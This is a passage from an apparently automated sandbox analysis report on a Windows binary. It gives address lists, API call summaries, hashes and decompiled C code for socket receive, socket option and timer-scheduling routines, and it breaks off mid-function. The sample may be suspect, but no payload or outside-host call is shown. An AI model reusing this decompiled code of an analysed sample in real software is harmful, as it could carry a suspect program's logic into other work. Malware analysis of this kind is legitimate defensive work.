    0x00a4725e
    0x00a47262
    0x00a47264
    0x00a47267
    0x00a4726e
    0x00a47277
    0x00a4727c
    0x00a47295
    0x00a4729a
    0x00a472a0
    0x00a472a0
    0x00a472ab
    0x00a472ab
    0x00a4726e
    0x00a472b1
    0x00000000
    0x00a472b1
    0x00a47200
    0x00a47203
    0x00a4720a
    0x00000000
    0x00000000
    0x00a4720c
    0x00a4720f
    0x00a47212
    0x00a47218
    0x00000000
    0x00000000
    0x00a47221
    0x00a47226
    0x00a47240
    0x00a47245
    0x00a47256
    0x00000000
    0x00a47256
    0x00a46d14
    0x00a46d26
    0x00a46d26
    0x00a46d2c
    0x00a46d32
    0x00000000
    0x00000000
    0x00a46d44
    0x00a46d4a
    0x00a46d4d
    0x00a46d5d
    0x00a46d64
    0x00a46d66
    0x00a46db5
    0x00a46db5
    0x00a46db8
    0x00a46dc2
    0x00a46dc5
    0x00a46e10
    0x00a46e19
    0x00a46e1c
    0x00a46e26
    0x00a46e29
    0x00a46e30
    0x00a46e30
    0x00a46e33
    0x00a46e3c
    0x00a46e52
    0x00a46e53
    0x00a46e5b
    0x00a46e6d
    0x00a46e72
    0x00a46e72
    0x00a46d1d
    0x00a46d20
    0x00a46d20
    0x00a46d23
    0x00000000
    0x00a46d23
    0x00000000
    0x00a46dc7
    0x00000000
    0x00a46dc5
    0x00000000
    0x00a46d4f
    0x00a46e7a
    0x00a46e84
    0x00a46e86
    0x00a47090
    0x00000000
    0x00a47090
    0x00a46e91
    0x00a46e97
    0x00a46e9e
    0x00a46ea8
    0x00a46eaa
    0x00a46eb5
    0x00a46eac
    0x00a46eac
    0x00a46eac
    0x00a46ec2
    0x00a46ecf
    0x00a46ed4
    0x00a46eee
    0x00a46ef3
    0x00a46ef6
    0x00a46ef9
    0x00a46f00
    0x00a46f02
    0x00a46f0d
    0x00a46f04
    0x00a46f04
    0x00a46f04
    0x00a46f23
    0x00a46f28
    0x00a46f2b
    0x00a46f3d
    0x00a46f3d
    0x00a46f43
    0x00a46f49
    0x00000000
    0x00000000
    0x00a46f5b
    0x00a46f61
    0x00a46f64
    0x00a46f74
    0x00a46f7b
    0x00a46f7d
    0x00a46fcc
    0x00a46fcc
    0x00a46fcf
    0x00a46fd2
    0x00a46fd9
    0x00a46fdc
    0x00a47030
    0x00a47033
    0x00a4703d
    0x00a47040
    0x00a47047
    0x00a4704a
    0x00a47053
    0x00a47069
    0x00a4706a
    0x00a47072
    0x00a47083
    0x00a47088
    0x00a47088
    0x00a46f34
    0x00a46f37
    0x00a46f37
    0x00a46f3a
    0x00000000
    0x00a46f3a
    0x00000000
    0x00a46fde
    0x00000000
    0x00a46fdc
    0x00000000
    0x00a46f66
    0x00000000
    0x00a46f3d
    0x00a46cce
    0x00a46cce
    0x00a46cd1
    0x00a46cd1
    0x00a472b8
    0x00a472c2
    0x00a472c4
    0x00a472ca
    0x00a472d0
    0x00a472d6
    0x00a472dc
    0x00a472e3
    0x00a472ed
    0x00a472ef
    0x00a472fa
    0x00a472f1
    0x00a472f1
    0x00a472f1
    0x00a47307
    0x00a47314
    0x00a47319
    0x00a47333
    0x00a47338
    0x00a4733b
    0x00a4733e
    0x00a47345
    0x00a47347
    0x00a47352
    0x00a47349
    0x00a47349
    0x00a47349
    0x00a47368
    0x00a4736d
    0x00a4736d
    0x00a472d6
    0x00a47375
    0x00a4737b
    0x00a4737b
    0x00a47388
    0x00a4738e
    0x00a473a2
    0x00a473a2
    0x00000000
    0x00a473a2
    0x00a4737b
    0x00a46c32
    0x00a46c38
    0x00a46c3b
    0x00a46c42
    0x00a46c57
    0x00a46c58
    0x00a46c72
    0x00a46c77
    0x00a46c77
    0x00000000
    0x00a46c42
    0x00a46be6
    0x00a46be9
    0x00a46bed
    0x00a46bef
    0x00a46bf2
    0x00a46bf5
    0x00a46bf9
    0x00a46bfb
    0x00a46c00
    0x00a46c00
    0x00a46c0b
    0x00a46c0b
    0x00a46bfb
    0x00000000
    0x00a46c11
    0x00a46b66
    0x00a46b6b
    0x00a46b72
    0x00a46b92
    0x00a46b9c
    0x00a46ba6
    0x00a46bb0
    0x00a46bc4
    0x00a46bd4
    0x00000000
    0x00a46b74
    0x00a46b77
    0x00a46b81
    0x00000000
    0x00a46b81
    0x00a46b72
    0x00a473ae
    0x00a473b9
    0x00a473b9

    APIs
      • Part of subcall function 00A46220: Sleep.KERNEL32(000003E8,00000000,00000000,?), ref: 00A46295
    • WSACleanup.WS2_32 ref: 00A473AE
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CleanupSleep
    • String ID:
    • API String ID: 1660135218-0
    • Opcode ID: 06252617cd79ff6bea8b0e6aaacc7d2d37bdc9f02970c545ca715a816c641e1c
    • Instruction ID: 1a67edb59592535c6970aa40913f1bf736d501c5ac8d3b8f40f4c109939175e1
    • Opcode Fuzzy Hash: 06252617cd79ff6bea8b0e6aaacc7d2d37bdc9f02970c545ca715a816c641e1c
    • Instruction Fuzzy Hash: AF213D74904148DFCB15CFA4C180AEDBBF1AF89314F2481A9E949AF341C371AE81EB91
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 68%
    			E00A455F0(signed int __eax, intOrPtr __ecx, signed char _a4, intOrPtr _a8) {
    				signed int _v8;
    
    				_t18 = __ecx;
    				__imp__#23(2, 1, 6, __ecx); // executed
    				_v8 = __eax;
    				if(_v8 != 0xffffffff) {
    					if((_a4 & 0x000000ff) != 0) {
    						_t18 = _v8;
    						E00A453F0(_v8, 1); // executed
    					}
    					E00A45430(_t18, _v8, _a8); // executed
    					E00A45460(_a8, _v8, _a8); // executed
    					return _v8;
    				}
    				return __eax | 0xffffffff;
    			}




    0x00a455f0
    0x00a455fa
    0x00a45600
    0x00a45607
    0x00a45614
    0x00a45618
    0x00a4561c
    0x00a4561c
    0x00a45629
    0x00a45636
    0x00000000
    0x00a4563b
    0x00000000

    APIs
    • socket.WS2_32(00000002,00000001,00000006), ref: 00A455FA
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: socket
    • String ID:
    • API String ID: 98920635-0
    • Opcode ID: 3fab3d4fffe7906534adc562e2d1cbef01e4753e0a6f8b22649ad06c39431220
    • Instruction ID: d002568e89359e05d84c72da2c742fc31160cbbdf53e459687d9f865fcc442a8
    • Opcode Fuzzy Hash: 3fab3d4fffe7906534adc562e2d1cbef01e4753e0a6f8b22649ad06c39431220
    • Instruction Fuzzy Hash: F0F03679E10608FBCB10DBF4C945E5FB7799F84720F548344BA155B1C2CA71DE009760
    Uniqueness

    Uniqueness Score: -1.00%

    APIs
    • select.WS2_32(00000000,00000000,?,?,00000000), ref: 00A454CC
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: select
    • String ID:
    • API String ID: 1274211008-0
    • Opcode ID: 744c77d2b1d8a3c1a60986a57f19fe84359e21362ec073d4adab88c088181584
    • Instruction ID: 2ae916c53e1d76d3247c7cf249049572fd6486bd58b22b329d9e12d708f12c9d
    • Opcode Fuzzy Hash: 744c77d2b1d8a3c1a60986a57f19fe84359e21362ec073d4adab88c088181584
    • Instruction Fuzzy Hash: 7DF0C775A0010CEFCB48CF98D89299E7BBEEB8D310F008159BA0AD72D0DA3099508BA1
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 100%
    			E00A42BD0(intOrPtr __ecx, long _a4) {
    				intOrPtr _v8;
    				char _v12;
    
    				_v8 = __ecx;
    				E00A426E0( &_v12, _v8);
    				while( *((intOrPtr*)(_v8 + 0x1a8)) != 0) {
    					E00A429C0(_v8, _a4); // executed
    				}
    				return E00A42710( &_v12);
    			}





    0x00a42bd6
    0x00a42be0
    0x00a42be5
    0x00a42bf8
    0x00a42bf8
    0x00a42c0a

    APIs
    • Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00A42BE0
      • Part of subcall function 00A429C0: WaitForMultipleObjects.KERNEL32(?,000000E7,00000000,?), ref: 00A429EA
      • Part of subcall function 00A429C0: CloseHandle.KERNEL32(?,?), ref: 00A42A39
      • Part of subcall function 00A429C0: CloseHandle.KERNEL32(?), ref: 00A42A4A
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CloseHandle$Concurrency::details::_CriticalLock::_MultipleObjectsReentrantScoped_lockScoped_lock::_Wait
    • String ID:
    • API String ID: 2294125826-0
    • Opcode ID: f4d5f29d4d887a9af5657fbf7a5f765e957412d8a915618f7495100431f658c4
    • Instruction ID: 9b910f622f59d0c640dbacd2c257ec809c9956316da1c20f0da9ae178842a0cc
    • Opcode Fuzzy Hash: f4d5f29d4d887a9af5657fbf7a5f765e957412d8a915618f7495100431f658c4
    • Instruction Fuzzy Hash: ECE01A39904008EBC704EF94CA42AEEB775EF84300FA041A9F50567291DB306F46DB91
    Uniqueness

    Uniqueness Score: -1.00%

    APIs
    • ioctlsocket.WS2_32(00000001,8004667E,00000001), ref: 00A45421
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: ioctlsocket
    • String ID:
    • API String ID: 3577187118-0
    • Opcode ID: 60adfe61197aedf0e81ddb424abcb27cbd224e9a6f3cf55c0fb90559c1b7a464
    • Instruction ID: acd75987f89a4d2ce0d6d7642654c7627abe5ba9d0a94c4e26a988cdff910a53
    • Opcode Fuzzy Hash: 60adfe61197aedf0e81ddb424abcb27cbd224e9a6f3cf55c0fb90559c1b7a464
    • Instruction Fuzzy Hash: D5E04F79D04208EBCB00DFE0D804AEEBBB8AB80706F10809AE8015B240D7719B68DBA1
    Uniqueness

    Uniqueness Score: -1.00%

    APIs
    • setsockopt.WS2_32(00000001,0000FFFF,00001005,000000FF,00000004), ref: 00A4544E
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: setsockopt
    • String ID:
    • API String ID: 3981526788-0
    • Opcode ID: a9cf196155905ecb9a92fcd59971e26cb98e983b50c9c0a1975e88ed4baa77f1
    • Instruction ID: 777babc0fe3aa003dab4b48c41b53d194458217058e7d0ffe0c49d98fc1e4951
    • Opcode Fuzzy Hash: a9cf196155905ecb9a92fcd59971e26cb98e983b50c9c0a1975e88ed4baa77f1
    • Instruction Fuzzy Hash: 92D05E79640208BBD710DF84DC46DBAB778EB49700F108259BF044B280E6B1AA14DB90
    Uniqueness

    Uniqueness Score: -1.00%

    APIs
    • setsockopt.WS2_32(00000001,0000FFFF,00001006,000000FF,00000004), ref: 00A4547E
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: setsockopt
    • String ID:
    • API String ID: 3981526788-0
    • Opcode ID: 673081d974bb73caec2df3ff50d55d38ed14b20205a25cacf360616140561205
    • Instruction ID: 9c9bf84085984b32c5f6323449de18ff613dcc710c57c7e81d44f704e19a200e
    • Opcode Fuzzy Hash: 673081d974bb73caec2df3ff50d55d38ed14b20205a25cacf360616140561205
    • Instruction Fuzzy Hash: EBD05E79640208BBD710DF84DC42DBAB778EB49700F108259BF044B280E6B1AA14D790
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 50%
    			E00A45B30(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
    				signed int _v8;
    				signed int _v12;
    				signed int _v16;
    				signed int _v20;
    				signed int _v24;
    				intOrPtr _v28;
    				intOrPtr _v32;
    				char _v4128;
    				signed int _t60;
    				intOrPtr _t66;
    				void* _t69;
    				void* _t70;
    				signed int _t74;
    				signed int _t76;
    				signed int _t94;
    				void* _t103;
    				void* _t104;
    
    				E00A48080();
    				if(( *(_a8 + 0x1001b) & 0x000000ff) != 0) {
    					_v32 = 0x1000;
    					_v16 = 0;
    					_v24 = 0;
    					do {
    						_t60 = _a4;
    						__imp__#16(_t60,  &_v4128, 0x1000, 0);
    						_v8 = _t60;
    						__eflags = _v8;
    						if(_v8 <= 0) {
    							__eflags = _v8;
    							if(_v8 != 0) {
    								__imp__#111();
    								_v28 = _t60;
    								__eflags = _v28 - 0x274c;
    								if(_v28 == 0x274c) {
    									L17:
    									_v8 = 0;
    									goto L18;
    								}
    								_t66 = _a8;
    								_t85 =  *(_t66 + 0x10019) & 0x000000ff;
    								__eflags =  *(_t66 + 0x10019) & 0x000000ff;
    								if(( *(_t66 + 0x10019) & 0x000000ff) == 0) {
    									_t69 = E00A439C0(E00A436C0(_t85));
    									__imp__#111();
    									_t70 = E00A47DB0();
    									__imp__#111(_t70, _t69);
    									_push(_t70);
    									_push(0x6860);
    									__eflags = _a8 + 0x1001d;
    									E00A43830(__eflags, E00A436C0(_t68), " %s M%X %d (%s)\n", _a8 + 0x1001d);
    									_t104 = _t104 + 0x18;
    								}
    								 *((char*)(_a8 + 0x10018)) = 1;
    								 *(_a8 + 0x1001b) = 0;
    								goto L17;
    							}
    							goto L18;
    						}
    						_v24 = _v16;
    						_v16 = _v16 + _v8;
    						_v12 = 0;
    						while(1) {
    							__eflags = _v12 - _v8;
    							if(_v12 >= _v8) {
    								break;
    							}
    							__eflags = _v24 + _v12 - _a16;
    							if(_v24 + _v12 < _a16) {
    								_t76 = _v24 + _v12;
    								__eflags = _t76;
    								 *((char*)(_a12 + _t76)) =  *((intOrPtr*)(_t103 + _v12 - 0x101c));
    							}
    							_t74 = _v12 + 1;
    							__eflags = _t74;
    							_v12 = _t74;
    						}
    						_v8 = 0;
    						L18:
    						__eflags = _v8;
    					} while (_v8 != 0);
    					 *((intOrPtr*)(_a8 + 0x10014)) = _v16;
    					E00A42540(_a8 + 0x14, 0x10000);
    					_v20 = 0;
    					while(1) {
    						__eflags = _v20 - _v16;
    						if(_v20 >= _v16) {
    							break;
    						}
    						 *((char*)(_a8 + _v20 + 0x14)) =  *((intOrPtr*)(_a12 + _v20));
    						_t94 = _v20 + 1;
    						__eflags = _t94;
    						_v20 = _t94;
    					}
    					return _v16;
    				}
    				return 0xffffff9c;
    			}




















    0x00a45b38
    0x00a45b49
    0x00a45b55
    0x00a45b5c
    0x00a45b63
    0x00a45b6a
    0x00a45b78
    0x00a45b7c
    0x00a45b82
    0x00a45b85
    0x00a45b89
    0x00a45be3
    0x00a45be7
    0x00a45beb
    0x00a45bf1
    0x00a45bf4
    0x00a45bfb
    0x00a45c61
    0x00a45c61
    0x00000000
    0x00a45c61
    0x00a45bfd
    0x00a45c00
    0x00a45c07
    0x00a45c09
    0x00a45c12
    0x00a45c17
    0x00a45c1e
    0x00a45c24
    0x00a45c2a
    0x00a45c2b
    0x00a45c33
    0x00a45c45
    0x00a45c4a
    0x00a45c4a
    0x00a45c50
    0x00a45c5a
    0x00000000
    0x00a45c5a
    0x00000000
    0x00a45be9
    0x00a45b8e
    0x00a45b97
    0x00a45b9a
    0x00a45bac
    0x00a45baf
    0x00a45bb2
    0x00000000
    0x00000000
    0x00a45bba
    0x00a45bbd
    0x00a45bc2
    0x00a45bc2
    0x00a45bd2
    0x00a45bd2
    0x00a45ba6
    0x00a45ba6
    0x00a45ba9
    0x00a45ba9
    0x00a45bd7
    0x00a45c68
    0x00a45c68
    0x00a45c68
    0x00a45c78
    0x00a45c8a
    0x00a45c8f
    0x00a45ca1
    0x00a45ca4
    0x00a45ca7
    0x00000000
    0x00000000
    0x00a45cb7
    0x00a45c9b
    0x00a45c9b
    0x00a45c9e
    0x00a45c9e
    0x00000000
    0x00a45cbc
    0x00000000

    APIs
    • recv.WS2_32(?,?,00001000,00000000), ref: 00A45B7C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: recv
    • String ID: %s M%X %d (%s)$L'
    • API String ID: 1507349165-2748533698
    • Opcode ID: 645701cdadc71ec847bcb6c359fac8bfdfee9207c1d4929e96ed8ce29adca9ed
    • Instruction ID: fd6542250fbb6f9fa1c622626794e20e57751e27ef744b58fc7c039f43a365f3
    • Opcode Fuzzy Hash: 645701cdadc71ec847bcb6c359fac8bfdfee9207c1d4929e96ed8ce29adca9ed
    • Instruction Fuzzy Hash: C1515B78D00209EBCF04DFA4C594BEEBBB1EF84304F248099E8556B342D3B4AB45DB91
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 77%
    			E00A42C10(intOrPtr* __ecx, intOrPtr _a4) {
    				intOrPtr* _v8;
    				intOrPtr _v12;
    				long _v16;
    				struct _SYSTEMTIME _v32;
    				void* _v36;
    				struct _FILETIME _v44;
    				intOrPtr _v48;
    				char _v52;
    				int _v56;
    				struct _FILETIME _v64;
    				struct _FILETIME _v72;
    				intOrPtr _v76;
    				long _v80;
    				intOrPtr _v84;
    				long _v88;
    				struct _SYSTEMTIME _v104;
    				intOrPtr _v108;
    				union _LARGE_INTEGER _v112;
    				struct _SYSTEMTIME _v128;
    				char _v136;
    				struct _FILETIME _v144;
    				short _v148;
    				short _v150;
    				signed short _v152;
    				char _v160;
    				struct _SYSTEMTIME _v176;
    				short _v688;
    				WCHAR* _t138;
    				long _t145;
    				intOrPtr _t220;
    
    				_v8 = __ecx;
    				 *_v8 = 0x36ee80;
    				 *(_v8 + 4) = 0;
    				 *(_v8 + 8) = 1;
    				 *(_v8 + 0xc) = 0;
    				 *(_v8 + 0x10) = 0;
    				 *(_v8 + 0x14) = 0;
    				if(_a4 != 0) {
    					_v32.wYear = 0;
    					_v32.wDayOfWeek = 0;
    					_v32.wHour = 0;
    					_v32.wSecond = 0;
    					_v44.dwLowDateTime = 0;
    					_v44.dwHighDateTime = 0;
    					GetSystemTime( &_v32);
    					_v56 = StrToIntA(E00A43360(_a4));
    					if(_v56 >= (_v32.wMinute & 0x0000ffff)) {
    						wnsprintfW( &_v688, 0x100, L"%02d:%lS", _v32.wHour & 0x0000ffff, _a4);
    					} else {
    						_v128.wYear = 0;
    						_v128.wDayOfWeek = 0;
    						_v128.wHour = 0;
    						_v128.wSecond = 0;
    						SystemTimeToFileTime( &_v32,  &_v44);
    						_v16 = 0;
    						_v12 = 0;
    						E00A42560( &_v16,  &_v44, 8);
    						asm("adc eax, 0x8");
    						_v16 = _v16 + 0x61c46800;
    						E00A42560( &_v44,  &_v16, 8);
    						FileTimeToSystemTime( &_v44,  &_v128);
    						wnsprintfW( &_v688, 0x100, L"%02d:%lS", _v128.wHour & 0x0000ffff, _a4);
    					}
    					_t138 =  &_v688;
    					__imp__#94(_t138, 0x800, 0x80000003,  &_v136);
    					if(_t138 >= 0) {
    						asm("movsd xmm0, [ebp-0x84]");
    						asm("movsd [esp], xmm0");
    						__imp__#185( &_v160);
    						if(_t138 != 0) {
    							_v104.wYear = _v32.wYear;
    							_v104.wDayOfWeek = _v32.wDayOfWeek;
    							_v104.wHour = _v32.wHour;
    							_v104.wSecond = _v32.wSecond;
    							_v104.wHour = _v152;
    							_v104.wMinute = _v150;
    							_v104.wSecond = _v148;
    							SystemTimeToFileTime( &_v104,  &_v64);
    							SystemTimeToFileTime( &_v32,  &_v72);
    							_t145 = CompareFileTime( &_v64,  &_v72);
    							_t240 = _t145 - 1;
    							if(_t145 == 1) {
    								_v80 = _v64.dwLowDateTime;
    								_v76 = _v64.dwHighDateTime;
    								_v88 = _v72.dwLowDateTime;
    								_v84 = _v72.dwHighDateTime;
    								asm("sbb edx, [ebp-0x50]");
    								_v52 = _v80 - _v88;
    								_v48 = _v76;
    								E00A42560( &_v144,  &_v52, 8);
    								FileTimeToSystemTime( &_v144,  &_v176);
    								_push(_v176.wSecond & 0x0000ffff);
    								_push(_v176.wMinute & 0x0000ffff);
    								_push(_v176.wHour & 0x0000ffff);
    								E00A43830(_t240, E00A436C0(_v176.wSecond & 0x0000ffff), "M%X - %02d:%02d:%02d\n", 0x88b8);
    								_v36 = CreateWaitableTimerW(0, 1, 0);
    								_t94 = _v8 + 4; // 0x0
    								 *((intOrPtr*)(_v8 + 0x10 +  *_t94 * 4)) = _v36;
    								if(_v36 != 0) {
    									_t220 = _v48;
    									_v112.LowPart = E00A48040(_v52, _t220, 0xffffffff, 0xffffffff);
    									_v108 = _t220;
    									_t107 = _v8 + 4; // 0x0
    									_t110 =  *_t107 * 4; // 0x6f002d
    									if(SetWaitableTimer( *(_v8 + _t110 + 0x10),  &_v112, 0, 0, 0, 0) == 0) {
    										_t117 = _v8 + 4; // 0x0
    										_t120 =  *_t117 * 4; // 0x6f002d
    										CloseHandle( *(_v8 + _t120 + 0x10));
    										_t123 = _v8 + 4; // 0x0
    										 *(_v8 + 0x10 +  *_t123 * 4) = 0;
    									} else {
    										_t113 = _v8 + 0xc; // 0x0
    										 *(_v8 + 0xc) =  *_t113 + 1;
    									}
    								}
    							}
    						}
    					}
    				}
    				return _v8;
    			}

































    0x00a42c19
    0x00a42c1f
    0x00a42c28
    0x00a42c32
    0x00a42c3c
    0x00a42c46
    0x00a42c50
    0x00a42c5b
    0x00a42c63
    0x00a42c66
    0x00a42c69
    0x00a42c6c
    0x00a42c71
    0x00a42c74
    0x00a42c7b
    0x00a42c91
    0x00a42c9b
    0x00a42d49
    0x00a42ca1
    0x00a42ca3
    0x00a42ca6
    0x00a42ca9
    0x00a42cac
    0x00a42cb7
    0x00a42cbd
    0x00a42cc6
    0x00a42cd3
    0x00a42ce4
    0x00a42ce7
    0x00a42cf7
    0x00a42d04
    0x00a42d24
    0x00a42d2a
    0x00a42d63
    0x00a42d6a
    0x00a42d72
    0x00a42d82
    0x00a42d8a
    0x00a42d8f
    0x00a42d97
    0x00a42da0
    0x00a42da6
    0x00a42dac
    0x00a42db2
    0x00a42dbc
    0x00a42dc7
    0x00a42dd2
    0x00a42dde
    0x00a42dec
    0x00a42dfa
    0x00a42e00
    0x00a42e03
    0x00a42e0c
    0x00a42e12
    0x00a42e18
    0x00a42e1e
    0x00a42e2a
    0x00a42e2d
    0x00a42e30
    0x00a42e40
    0x00a42e53
    0x00a42e60
    0x00a42e68
    0x00a42e70
    0x00a42e81
    0x00a42e95
    0x00a42e9b
    0x00a42ea4
    0x00a42eac
    0x00a42eb2
    0x00a42ebf
    0x00a42ec2
    0x00a42ed4
    0x00a42eda
    0x00a42ee7
    0x00a42efd
    0x00a42f03
    0x00a42f08
    0x00a42f11
    0x00a42f17
    0x00a42ee9
    0x00a42eec
    0x00a42ef5
    0x00a42ef5
    0x00a42ee7
    0x00a42eac
    0x00a42e03
    0x00a42d97
    0x00a42d72
    0x00a42f25

    APIs
    • GetSystemTime.KERNEL32(?), ref: 00A42C7B
      • Part of subcall function 00A43360: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00A432B3,000000FF,00000000,00000000,00000000,00000000,00A432B3), ref: 00A43382
      • Part of subcall function 00A43360: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000), ref: 00A433BC
    • StrToIntA.SHLWAPI(00000000,00000000), ref: 00A42C8B
    • SystemTimeToFileTime.KERNEL32(?,?), ref: 00A42CB7
    • FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000008,00000000,?,00000008), ref: 00A42D04
    • wnsprintfW.SHLWAPI ref: 00A42D24
    • wnsprintfW.SHLWAPI ref: 00A42D49
    • VarDateFromStr.OLEAUT32(?,00000800,80000003,?), ref: 00A42D6A
    • VariantTimeToSystemTime.OLEAUT32 ref: 00A42D8F
    • SystemTimeToFileTime.KERNEL32(?,?), ref: 00A42DDE
    • SystemTimeToFileTime.KERNEL32(?,?), ref: 00A42DEC
    • CompareFileTime.KERNEL32(?,?), ref: 00A42DFA
    • FileTimeToSystemTime.KERNEL32(?,?,?,?,00000008), ref: 00A42E53
    • CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00A42E8F
    • SetWaitableTimer.KERNEL32(006F002D,?,00000000,00000000,00000000,00000000,?,?,000000FF,000000FF), ref: 00A42EDF
    • CloseHandle.KERNEL32(006F002D), ref: 00A42F08
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Time$System$File$ByteCharMultiTimerWaitableWidewnsprintf$CloseCompareCreateDateFromHandleVariant
    • String ID: %02d:%lS$%02d:%lS$0Uv$M%X - %02d:%02d:%02d$pAv
    • API String ID: 3806497137-2685693324
    • Opcode ID: 20037b731a2ecf52b9efcfa902abae2812c411049662d7b7608bd2a46ef8a919
    • Instruction ID: b318884c5b2a02aab7fdc6d2973f443d117b7dd1780d2741d6bbb10c9a7c7b15
    • Opcode Fuzzy Hash: 20037b731a2ecf52b9efcfa902abae2812c411049662d7b7608bd2a46ef8a919
    • Instruction Fuzzy Hash: A0A1E6B9D00208EFDB14DFD4C984BEEBBB5BF88700F608159E505A7245DB759A45CF60
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 58%
    			E00A458E0(intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12) {
    				intOrPtr _v8;
    				intOrPtr _v12;
    				char _v268;
    				intOrPtr _t64;
    				char* _t69;
    				void* _t76;
    				void* _t77;
    				void* _t83;
    				void* _t84;
    				void* _t101;
    				void* _t102;
    				intOrPtr _t107;
    				intOrPtr _t112;
    				intOrPtr _t118;
    				signed int _t124;
    				intOrPtr _t139;
    				intOrPtr _t145;
    
    				_t64 = _a12;
